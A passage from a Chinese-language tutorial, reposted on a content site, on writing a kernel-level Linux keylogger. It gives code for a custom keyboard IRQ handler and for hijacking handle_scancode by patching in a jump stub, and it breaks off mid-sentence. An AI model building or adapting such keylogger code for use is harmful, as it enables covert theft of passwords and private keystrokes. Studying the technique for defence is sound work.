linux下键盘记录程序,书写基于内核的linux键盘纪录器(三)

3 - 基于内核的键盘纪录器的实现步骤

我们论述两种实现方法,一个是书写我们自己的键盘中断句柄,另一个是劫持输入进程函数.

----[ 3.1 - 中断句柄

要纪录击键信息,我们就要利用我们自己的键盘中断。在Intel体系下,控制键盘的IRQ值是1。

当接受到一个键盘中断时,我们的键盘中断器会读取scancode和键盘的状态。读写键盘事件

都是通过0x60端口(键盘数据注册器)和0x64(键盘状态注册器)来实现的。

/* 以下代码都是intel格式 */

#define KEYBOARD_IRQ 1

#define KBD_STATUS_REG 0x64

#define KBD_CNTL_REG 0x64

#define KBD_DATA_REG 0x60

#define kbd_read_input() inb(KBD_DATA_REG)

#define kbd_read_status() inb(KBD_STATUS_REG)

#define kbd_write_output(val) outb(val, KBD_DATA_REG)

#define kbd_write_command(val) outb(val, KBD_CNTL_REG)

/* 注册我们的IRQ句柄*/

request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL);

在my_keyboard_irq_handler()函数中定义如下:

scancode = kbd_read_input();

key_status = kbd_read_status();

log_scancode(scancode);

这种方法不方便跨平台操作。而且很容易crash系统,所以必须小心操作你的终端句柄。

----[ 3.2 - 函数劫持

在第一种思路的基础上,我们还可以通过劫持handle_scancode(),put_queue(),receive_buf(),

tty_read()或者sys_read()等函数来实现我们自己的键盘纪录器。注意,我们不能劫持

tty_insert_flip_char()函数,因为它是一个内联函数。

------[ 3.2.1 - handle_scancode函数

它是键盘驱动程序中的一个入口函数(有兴趣可以看内核代码keynoard.c)。

# /usr/src/linux/drives/char/keyboard.c

void handle_scancode(unsigned char scancode, int down);

我们可以这样,通过替换原始的handle_scancode()函数来实现纪录所有的scancode。这就我们

在lkm后门中劫持系统调用是一个道理,保存原来的,把新的注册进去,实现我们要的功能,再调用

回原来的,就这么简单。就是一个内核函数劫持技术。

/* below is a code snippet written by Plasmoid */

static struct semaphore hs_sem, log_sem;

static int logging=1;

#define CODESIZE 7

static char hs_code[CODESIZE];

static char hs_jump[CODESIZE] =

"\xb8\x00\x00\x00\x00"      /*      movl   $0,%eax  */

"\xff\xe0"                  /*      jmp    *%eax    */

;

void (*handle_scancode) (unsigned char, int) =

(void (*)(unsigned char, int)) HS_ADDRESS;

void _handle_scancode(unsigned char scancode, int keydown)

{

if (logging && keydown)

log_scancode(scancode, LOGFILE);

/*恢复原始handle_scancode函数的首几个字节代码。调用恢复后的原始函数并且

*再次恢复跳转代码。

*/

down(&hs_sem);

memcpy(handle_scancode, hs_code, CODESIZE);

handle_scancode(scancode, keydown);

memcpy(handle_scancode, hs_jump, CODESIZE);

up(&hs_sem);

}

HS_ADDRESS这个地址在执行Makefile文件的时候定义:

HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode))

其实就是handle_scan


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部